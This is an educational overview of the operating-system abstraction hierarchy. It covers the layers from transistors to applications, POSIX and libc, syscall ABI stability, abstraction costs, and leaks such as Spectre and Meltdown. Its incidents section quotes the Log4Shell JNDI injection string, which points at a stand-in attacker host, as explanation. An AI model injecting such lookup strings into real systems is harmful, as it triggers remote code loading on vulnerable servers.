OS Abstraction Hierarchy
Technical Overview
A modern computing system is built as a stack of abstraction layers, where each layer presents a simplified, uniform interface to the layer above it while hiding the complexity of the layers below. From semiconductor physics to web browser JavaScript, there are roughly a dozen major abstraction boundaries, each representing a contract: the upper layer depends on the lower layer's defined interface without knowing or caring about the implementation details beneath.
This hierarchy matters for systems engineering because every abstraction has a cost (indirection, overhead), every abstraction can leak (lower-layer details becoming visible at higher layers), and every abstraction defines a portability contract (code written to a layer's interface can run on any conforming implementation). The most famous leaky abstraction in computing history — Meltdown and Spectre — was caused by the CPU's microarchitectural reality (speculative execution) breaking through the abstraction that programs cannot access memory they don't have permission to read.
Understanding where each piece of software lives in the hierarchy, what interface it depends on, and where that interface can fail is the central skill of systems engineering.
Prerequisites
- All previous files in this section (01–07)
- Basic understanding of software compilation and linking
- Familiarity with the concept of APIs and ABI
Core Content
The Full Abstraction Stack
Level 10: Applications
┌─────────────────────────────────────────────────────────────┐
│ Web browsers, databases, web servers, shells, tools │
│ Interface: Language standard library, framework APIs │
│ (Python stdlib, Java SDK, Node.js APIs, libc POSIX API) │
└──────────────────────────────┬──────────────────────────────┘
│ function calls
Level 9: Language Runtimes
┌──────────────────────────────▼──────────────────────────────┐
│ JVM, CPython, V8, Ruby MRI, .NET CLR │
│ Memory management (GC), JIT compilation, threading │
│ Interface: Language specification (JLS, CPython C API) │
└──────────────────────────────┬──────────────────────────────┘
│ function calls / syscalls
Level 8: System Libraries
┌──────────────────────────────▼──────────────────────────────┐
│ glibc / musl (Linux), libSystem.dylib (macOS), ntdll (Win) │
│ POSIX wrappers, C runtime (malloc, printf, pthreads) │
│ Interface: POSIX.1-2017, ISO C11, platform-specific APIs │
└──────────────────────────────┬──────────────────────────────┘
│ SYSCALL instruction (syscalls)
Level 7: OS Kernel (System Call Interface)
┌──────────────────────────────▼──────────────────────────────┐
│ Process management, file I/O, networking, signals │
│ Interface: Syscall ABI (x86-64: rax=nr, rdi/rsi/rdx/r10...) │
│ Linux: ~460 syscalls; stable ABI guaranteed │
└──────────────────────────────┬──────────────────────────────┘
│ device driver calls
Level 6: Device Drivers & Virtual Filesystem
┌──────────────────────────────▼──────────────────────────────┐
│ ext4, XFS, NFS, TCP/IP stack, NIC drivers, block drivers │
│ Interface: VFS ops (file_operations), socket API (sk_buff) │
└──────────────────────────────┬──────────────────────────────┘
│ hardware register R/W
Level 5: Hardware Abstraction (arch/ code, ACPI/DT)
┌──────────────────────────────▼──────────────────────────────┐
│ arch/x86/, arch/arm64/, ACPI interpreter, device tree │
│ Interface: kernel-internal (switch_to, flush_tlb, readl) │
└──────────────────────────────┬──────────────────────────────┘
│ bus protocols (PCIe, USB, I2C)
Level 4: Bus Protocols & Chipset
┌──────────────────────────────▼──────────────────────────────┐
│ PCIe switch, USB hub, I2C controller, memory controller │
│ Interface: Bus protocol specifications │
└──────────────────────────────┬──────────────────────────────┘
│ electrical signals
Level 3: Microarchitecture (ISA Implementation)
┌──────────────────────────────▼──────────────────────────────┐
│ Superscalar pipelines, out-of-order execution, branch pred │
│ Caches (L1/L2/L3), TLBs, prefetchers, speculative exec │
│ Interface: ISA (x86-64, AArch64, RISC-V) — the contract │
└──────────────────────────────┬──────────────────────────────┘
│ microcode / digital logic
Level 2: Digital Logic (Gates, Flip-Flops)
┌──────────────────────────────▼──────────────────────────────┐
│ ALUs, registers, multiplexers, adders, state machines │
│ Interface: Boolean algebra, timing specifications │
└──────────────────────────────┬──────────────────────────────┘
│ analog signal
Level 1: Semiconductor Physics
┌──────────────────────────────▼──────────────────────────────┐
│ CMOS transistors, FinFET, GAAFET, doping, junction physics │
│ Interface: Voltage levels (e.g., 0V = 0, 1.0V = 1) │
└─────────────────────────────────────────────────────────────┘
Each Layer's Interface Contract
Level 1 → 2 (Physics → Logic): Voltage levels represent bits. Transistors switch in picoseconds. The contract: if you provide valid input voltages within specified timing, the output voltage will represent the correct logical value. Everything above trusts this.
Level 2 → 3 (Logic → ISA): The Instruction Set Architecture is the contract between hardware and software. Intel's ISA manual is ~5000 pages. The contract: for any valid sequence of instructions with valid inputs, the architectural state (registers, memory) will be in the specified final state. The contract says nothing about HOW this is implemented — out-of-order, speculative, pipelined — only WHAT the result must be.
Level 3 → 4 (ISA → Bus): The ISA defines how the CPU accesses memory and I/O. Bus protocols define how multiple devices share communication channels. PCIe TLP (Transaction Layer Packets) carry reads and writes. The contract: a PCIe MRd (Memory Read) TLP for a valid address will return the correct data within a timeout.
Level 4 → 5 (Bus → HAL): ACPI and Device Tree describe what hardware is present and how to access it. The OS's HAL code translates this into kernel-internal abstractions.
Level 5 → 6 (HAL → Kernel Subsystems): The kernel's internal API (struct file_operations, struct net_device) allows filesystem and network code to be written without knowing the underlying hardware. A filesystem driver calls blk_submit_bio() to issue a block I/O; it doesn't know if the block device is NVMe, SATA, or a RAM disk.
Level 6 → 7 (Drivers → Syscall ABI): The syscall ABI is the kernel's contract to user space. Defined in the System V AMD64 ABI and Linux kernel documentation. Stable. Never broken for existing binaries.
Level 7 → 8 (Syscall → libc): The C standard library wraps raw syscalls in standard POSIX and ISO C interfaces. fopen() is not a syscall; it calls open(2) internally and maintains a buffer. The contract is POSIX.1-2017.
Level 8 → 9 (libc → Runtimes): Language runtimes use the C library and direct syscalls. The JVM calls mmap(2) for heap allocation, pthread_create for threads, select/epoll for I/O. The contract is each language's specification.
Level 9 → 10 (Runtime → Application): Applications see stable language APIs. A Python 3.8 program runs on CPython 3.8, 3.9, and 3.10 because the language specification is backward compatible.
Why Layering Matters: Modularity, Portability, Cost
Modularity: Each layer can be replaced independently. Switch from ext4 to XFS without changing any application code. Replace glibc with musl without changing kernel code. Port an application from x86 to ARM64 by recompiling — the syscall interface is conceptually the same (with different numbers). Linux runs on everything from smartwatches to mainframes using this modularity.
Portability: The syscall interface is Linux's ultimate portability layer. Docker containers use this: the same container image runs on x86-64, ARM64, and RISC-V machines because the container's application code only sees the syscall interface (via glibc), and Linux provides that same interface on all architectures.
Cost of abstraction: Every layer boundary has overhead: - Function call overhead: ~1ns per call (negligible individually, significant in loops) - Syscall overhead: ~100ns per call (significant) - Context switch: ~1–10 microseconds - Network round-trip (TCP/IP stack traversal): ~50–200 microseconds - Disk I/O (SSD): 100–500 microseconds
Systems that eliminate layers to achieve performance: DPDK (bypasses kernel networking), SPDK (bypasses kernel storage), RDMA (bypasses kernel and libc for network I/O), io_uring (batches syscalls to reduce per-operation overhead).
POSIX as a Portability Interface
POSIX (Portable Operating System Interface, IEEE 1003) standardizes the syscall-level interface for Unix-like systems. The current standard is POSIX.1-2017 (IEEE 1003.1-2017, also ISO/IEC 9945). It defines:
- System calls:
open,read,write,close,fork,exec,wait,signal,socket, etc. - C library functions:
printf,malloc,pthread_create,regex, etc. - Shell utilities:
ls,grep,sed,awk, etc. - Semantics: file permissions, signal delivery, process groups, terminal handling
A program written strictly to POSIX (without OS-specific extensions) can be compiled and run on Linux, macOS, FreeBSD, and other POSIX-conforming systems. In practice, most software uses platform-specific extensions (Linux epoll, macOS kqueue, Linux io_uring) because the portable POSIX interface lacks features needed for high performance.
POSIX conformance vs. reality: Linux is "mostly POSIX conformant" but not certified. macOS is certified POSIX conformant (SUS v3). There are subtle behavioral differences — signal semantics, filesystem case sensitivity, device file behavior — that bite portable software.
The C Standard Library as OS Interface
glibc (GNU C Library) is the primary libc on Linux desktop/server systems. musl is an alternative, lighter implementation used in Alpine Linux containers.
glibc does more than just wrap syscalls:
- Buffered I/O (FILE *, fopen, fprintf): maintains user-space buffers, minimizing read/write syscalls. An application calling fputc() 1000 times emits one write(2) syscall.
- malloc/free: implements a heap allocator (ptmalloc2) on top of mmap/brk. Applications don't call mmap per-allocation.
- pthreads: wraps clone(2), futex(2) to provide POSIX threads.
- NSS (Name Service Switch): gethostbyname() calls NSS plugins (/etc/nsswitch.conf) which may call into /etc/hosts, DNS (resolv.conf), or LDAP — no single syscall.
- Dynamic linking: dlopen(3), dlsym(3) — calls mmap(2) to load shared libraries, resolves symbols.
The C ABI (calling convention, data layout) is defined in the SysV AMD64 ABI on Linux. This is why C code compiled by different compilers (GCC, Clang, Intel ICC) can link and interoperate — they all follow the same ABI.
Syscall ABI Stability: Linux "Never Breaks Userspace"
Linus Torvalds' rule, stated repeatedly on LKML and codified in Documentation/process/stable-api-nonsense.rst:
"We do not break user space. Period. If a system call was once defined in the kernel, it will be there forever in a compatible form."
This means:
- A binary compiled against Linux 2.6 in 2004 still runs on Linux 6.6 in 2024 (if the architecture is the same)
- Syscall numbers are never changed once assigned
- Syscall argument semantics are never changed in incompatible ways
- /proc and /sys files are never removed or changed incompatibly
- Signal numbering and semantics are frozen
The practical consequence: Android apps compiled for Android 4.4 (Linux 3.4 kernel) still run on Android 14 (Linux 5.15 kernel). The kernel ABI is the only stable foundation.
What IS allowed to change: Kernel-internal APIs (between subsystems, to kernel modules). The in-kernel API changes with every release. Out-of-tree drivers must be updated for every kernel version. This is intentional — internal refactoring is how the kernel improves.
How Software Ports Between Linux/macOS/Windows
Porting involves finding every place where an application used OS-specific APIs and replacing them with either a portable alternative or a platform-specific implementation:
| Feature | Linux | macOS | Windows |
|---|---|---|---|
| Async I/O notification | epoll |
kqueue |
IOCP (I/O Completion Ports) |
| Process creation | fork(2) + exec(2) |
fork(2) + exec(2) |
CreateProcess() |
| Shared memory | shmget(2) / mmap(2) |
mmap(2) |
CreateFileMapping() |
| Shared libraries | .so (ELF) |
.dylib (Mach-O) |
.dll (PE/COFF) |
| Thread sync | futex(2) / pthreads |
Grand Central Dispatch / pthreads | Win32 CRITICAL_SECTION / etc. |
| Signals | POSIX signals | POSIX signals | Structured Exception Handling (SEH) |
Abstraction libraries: libuv (used by Node.js) abstracts async I/O across platforms. Boost.Asio does the same for C++. abseil (Google) provides platform-portable primitives. These libraries implement the portability layer in user space.
WSL (Windows Subsystem for Linux): WSL2 runs a real Linux kernel in a lightweight VM under Hyper-V. WSL1 was a syscall translation layer (Linux syscalls translated to Windows NT calls) — a user-space implementation of the Linux syscall interface running on Windows. This is the ultimate demonstration of the syscall layer as a portability interface.
Abstraction Cost at Each Layer
Real-world overhead measurements for a single HTTP request through a stack:
Application code (business logic): ~0.1 μs
HTTP parsing (user-space library): ~1 μs
TLS encryption (OpenSSL): ~5 μs
└─ read() syscall (TLS record from socket): ~0.2 μs
TCP ACK processing (kernel net stack): ~2 μs
└─ driver RX processing (irq/softirq): ~1 μs
NIC DMA + interrupt: ~0.5 μs
Total one-way: ~10 μs (excludes network propagation)
Round-trip at localhost: ~20-50 μs (includes context switches)
Each layer adds overhead. The choice of which layers to bypass vs. maintain is a core systems design decision.
The End-to-End Argument
The "End-to-End Argument" (Saltzer, Reed, Clark, 1984) states that application-level correctness requirements should be implemented at the endpoints (application level), not pushed down into the network or OS. Examples: - Reliable delivery: TCP in the network layer handles reliable delivery. But for a database, that's not enough — the application must also flush its WAL to disk (another level of reliability). - Encryption: TLS in the application layer is correct. Relying solely on OS-level IPsec without end-to-end verification doesn't provide the same guarantees.
This argument explains why certain features appear at multiple layers (checksums in TCP AND in application protocols, error handling in drivers AND in applications). Each layer doing its own checking is correct when lower-layer reliability is not guaranteed.
Where Abstractions Leak: Meltdown and Spectre
Meltdown (CVE-2017-5754): The CPU's microarchitecture (out-of-order execution) broke through the ISA abstraction. The ISA contract says: if you try to read memory you don't have permission to read, you get a fault. The microarchitecture actually did read the data speculatively before the permission check completed, and the data was observable through a side channel (cache timing). This violated the Layer 3 → Layer 2 contract.
Spectre (CVE-2017-5753, CVE-2017-5715): Similar. The branch predictor's behavior (microarchitecture) was observable through timing side channels, allowing attackers to infer which branches the CPU predicted and thus read data from other processes' address spaces.
Both attacks demonstrated that the ISA abstraction is not as clean as assumed — the microarchitecture leaks information through timing side channels. The OS (Layers 5–7) had to compensate for this microarchitectural leak with software mitigations (KPTI, Retpoline, IBRS/IBPB/STIBP).
Other notable leaks:
- Rowhammer: Repeatedly reading DRAM cells can flip bits in adjacent cells — the physical layer leaking through the memory abstraction
- Flush+Reload: Cache sharing between processes leaks data through timing, even across VM boundaries
- Power consumption side channels: The CPU's power draw is observable by software (RAPL registers), enabling inference of computation being performed — the physics layer leaking upward through all abstractions
Historical Context
The layered model of computing was explicitly articulated in Dijkstra's THE multiprogramming system (1968), which described six hierarchical layers with defined interfaces. This became the canonical model for OS structure in academic computer science.
The Unix philosophy ("everything is a file") is an extreme simplification of the abstraction hierarchy: the syscall layer exposes everything through a small set of generic operations (open/read/write/close/ioctl), hiding the specifics of block devices, character devices, network sockets, pipes, and regular files behind a unified interface.
The POSIX standardization effort (beginning 1988) codified the Unix syscall interface as an industry standard, enabling the commercial Unix wars of the 1980s–1990s to eventually converge on a common interface. Linux's adherence to POSIX (while adding extensions) is the primary reason software written for Sun Solaris in 1995 compiles and runs on Linux 6.6 in 2024 with minimal modification.
The Windows NT architecture (1993) explicitly documented its own layered model: HAL → Kernel → Executive (I/O Manager, Memory Manager, Process Manager, etc.) → Subsystems (Win32, POSIX, OS/2). The "subsystem" layer allowed NT to run both Win32 and POSIX applications through different personality layers sitting on the same kernel.
Production Examples
Python web app on Kubernetes: A Python Django web server running in a Docker container on Kubernetes on AWS:
Django view code (Level 10: Application)
CPython interpreter (Level 9: Runtime)
Python requests / psycopg2 (Level 8: Library)
glibc (Level 8: System Library)
Linux kernel (Level 7: Syscall ABI)
→ running inside Docker (Linux namespaces/cgroups)
→ on Kubernetes pod (container runtime: containerd/runc)
→ on AWS EC2 instance (Linux kernel on AWS Nitro)
→ Nitro hypervisor (KVM/VMX layer)
→ EC2 physical hardware (Intel Xeon, PCIe NVMe, 25G NIC)
At every layer, someone has made a design decision about what to expose vs. abstract away.
eBPF as a new layer: eBPF programs run in the kernel but are written and loaded from user space. They create a new abstraction layer between the kernel's internal data structures and monitoring/security applications. bpftrace scripts are a high-level language that compiles to eBPF bytecode, creating a stack: bpftrace → LLVM → eBPF bytecode → kernel verifier → JIT → native code running in ring 0.
Debugging Notes
When a system behaves unexpectedly, determining which layer the problem lives in is the first debugging task:
Symptom → probable layer to investigate
Process crashes (SIGSEGV) → Layer 9/10 (application memory bug)
→ Layer 8 (library bug)
Slow disk I/O → Layer 7 (syscall) or 6 (VFS, block layer)
→ Layer 4/5 (storage driver, hardware)
Network drops → Layer 7 (socket buffer limits)
→ Layer 6 (NIC driver, kernel TCP)
→ Layer 4 (PCIe/NIC hardware)
Kernel oops → Layer 6 (driver bug in ring 0)
→ Layer 5 (HAL/arch bug)
BIOS/firmware crash → Layer 5 or 4
Random bit flips → Layer 1/2 (hardware, memory error)
Tools by layer:
Layer 10: application logs, profilers (py-spy, jstack, gdb)
Layer 9: JVM heap dumps, Python tracemalloc, valgrind
Layer 8: strace, ltrace, LD_PRELOAD interception
Layer 7: strace, perf trace, syscall audit logs
Layer 6: /proc/net/, /proc/diskstats, ftrace, eBPF
Layer 5: dmesg, ACPI debug, /sys/firmware/acpi/
Layer 4: lspci -vvv, dmidecode, PCIe error logs
Layer 3: perf stat (CPU counters), microcode errata
Layer 1/2: mcelog, edac-utils (DRAM ECC), hardware diagnostics
Security Implications
Attack surfaces at each layer: - Layer 10/9: application logic bugs, injection attacks, deserialization flaws - Layer 8: libc vulnerabilities (glibc buffer overflows, format string bugs) - Layer 7: kernel syscall vulnerabilities (privilege escalation, info leak) - Layer 6: driver memory corruption (leads to ring-0 code execution) - Layer 5: ACPI AML code execution vulnerabilities, firmware rootkits - Layer 3/2: Spectre/Meltdown, hardware backdoors (hypothetical)
Defense in depth: Security controls at every layer provide defense in depth. Even if Layer 7 (kernel) is exploited, seccomp (a Layer 7 restriction) limits what the exploit can do. Even if Layer 9 (runtime) is exploited, container isolation (Layer 7 mechanisms: namespaces, cgroups) limits blast radius.
Abstraction boundaries as trust boundaries: Each layer boundary is also a trust boundary. Code above the boundary is untrusted (might be malicious or buggy); code below validates inputs from above. The kernel validates every syscall argument. libc validates inputs to library functions. Each layer's security depends on not trusting inputs from the layer above.
Performance Implications
Layer bypass: High-performance systems eliminate layers: - DPDK: bypasses Layers 6 and 7 for networking - SPDK: bypasses Layers 6 and 7 for storage - RDMA: bypasses all kernel layers for network transfers between applications - io_uring: reduces Layer 7 crossing frequency without bypassing it
Abstraction cost examples:
- gettimeofday() via vDSO: ~5ns (no Layer 7 crossing)
- gettimeofday() via syscall: ~150ns (Layer 7 crossing)
- read(2) from page cache: ~500ns (Layer 7 + Layer 6 VFS)
- read(2) from SSD: ~100μs (Layer 7 + Layer 6 + Layer 4 + hardware)
- fread() from buffered FILE*: may be ~5ns (no syscall if buffer warm)
The difference between consecutive layers can be 10–1000x, depending on what that layer crossing involves.
Failure Modes and Real Incidents
Log4Shell (CVE-2021-44228): A vulnerability in Log4j (Layer 10), Java's logging library, where a log message containing ${jndi:ldap://attacker.com/...} caused the logging library to make outbound LDAP connections (traversing Layers 8, 7, 6, 4 to reach an attacker). The Layer 10 bug had real-world impact because the abstraction stack faithfully carried the attacker's request all the way down to the network and back. Defense: network egress filtering (Layer 4/5 firewall) stopped the impact even before the app was patched.
OpenSSL Heartbleed (CVE-2014-0160): A Layer 8 bug (OpenSSL library) that allowed reading 64KB of heap memory containing private keys, passwords, and session tokens. The Layer 7 (kernel) correctly isolated the process's memory from other processes; the bug was within a single process's address space. Demonstrates that OS isolation (Layer 7) doesn't protect against bugs within an application's own address space.
Intel SGX Downgrade Attack: SGX is a Layer 3 feature (CPU hardware) providing an isolated enclave. An attack exploiting the interface between the microarchitecture and the ISA could extract enclave data. Shows that even "hardware security" features depend on the correctness of the abstraction from Layer 2 to Layer 3.
Modern Usage
Cloud-native abstraction stack: Modern cloud applications run through even more layers than traditional software:
Application code → container → pod → node → availability zone → region → cloud
Each level provides its own abstraction contract. Kubernetes abstracts node details from pods. Cloud providers abstract physical hardware from VMs. This layering enables location-transparent deployment but adds latency and complexity at each layer (container networking overhead, VM virtualization overhead, cloud storage abstraction overhead).
WebAssembly as a new layer: WASM is a portable binary instruction format targeting a virtual ISA. It slots between Layer 9 (language runtime) and Layer 8 (system library), with its own security boundary (capability-based I/O via WASI). WASM components are portable across CPU architectures and operating systems — a new portability abstraction layer.
Future Directions
- Unikernels: Collapse Layers 6–9 into a single component specialized for one application. MirageOS (OCaml) and Nanos (nanos.world) compile an application directly with just the OS primitives it needs, eliminating the generality overhead of a full OS.
- eBPF as a first-class layer: BPF programs create a stable programmable interface between Layers 6 and 7, allowing policy to be implemented in a portable, safe bytecode that runs in the kernel without changing the kernel itself.
- CXL and memory abstraction: CXL introduces new memory types (persistent, pooled, type-2 with CPU) that don't fit cleanly into the DRAM abstraction. Layer 5 (kernel MM) is evolving new abstractions to accommodate CXL's capabilities.
- RISC-V as a clean-slate ISA: RISC-V's open, formally specified ISA enables formal verification of the Layer 2→3 contract in ways that weren't possible with complex legacy ISAs.
Exercises
-
Take any application you use (a web browser, a database, a game). Map its operation to the abstraction hierarchy. For each layer, identify what abstraction it depends on from the layer below and what it provides to the layer above. Focus on the path of a "read file" operation from user click to disk and back.
-
Write a program in two versions: one using POSIX
open(2)/read(2)/write(2)directly (Layer 7), and one using C standard libraryfopen(3)/fread(3)/fwrite(3)(Layer 8). Benchmark them for writing 10MB in 1-byte writes. What is the speedup from buffering? What does this tell you about the value of the Layer 8 abstraction? -
Use
lddto find all shared libraries that a program links against. Forls, runldd $(which ls). Trace each library to its role in the abstraction hierarchy. Which library is at Layer 8? Which might be at Layer 9? Which provides Layer 7 access? -
Research WSL1 (Windows Subsystem for Linux, the first version). How did it implement Linux syscall compatibility on Windows? Which Linux syscalls were not supported, and why? What does this tell you about the degree to which the syscall ABI is a genuine portability boundary?
-
The Spectre vulnerability broke an abstraction. Write a one-page technical explanation of: (a) which abstraction was broken, (b) what the assumed contract was, (c) what the reality was, and (d) what mitigations were applied and at which layer of the hierarchy.
References
- Jerome Saltzer, David Reed, David Clark, "End-to-End Arguments in System Design", ACM TOCS 2(4), November 1984
- Edsger W. Dijkstra, "The structure of the THE-multiprogramming system", CACM 11(5), 1968
- Andrew Tanenbaum, Modern Operating Systems, 4th ed. — Chapter 1 (OS structure and layers)
- POSIX.1-2017: https://pubs.opengroup.org/onlinepubs/9699919799/
- System V AMD64 ABI Specification: https://gitlab.com/x86-psABIs/x86-64-ABI
- Linus Torvalds, "stable kernel ABI" LKML discussion: https://lkml.org/lkml/2012/12/23/75
- Meltdown paper: Lipp et al., USENIX Security 2018
- Spectre paper: Kocher et al., IEEE S&P 2019
- Paul McKenney, "Abstraction and the Kernel", LWN.net
- Brendan Gregg, "Linux Performance Tools", USENIX LISA 2014 — the tools-by-layer methodology
- WebAssembly/WASI specification: https://wasi.dev/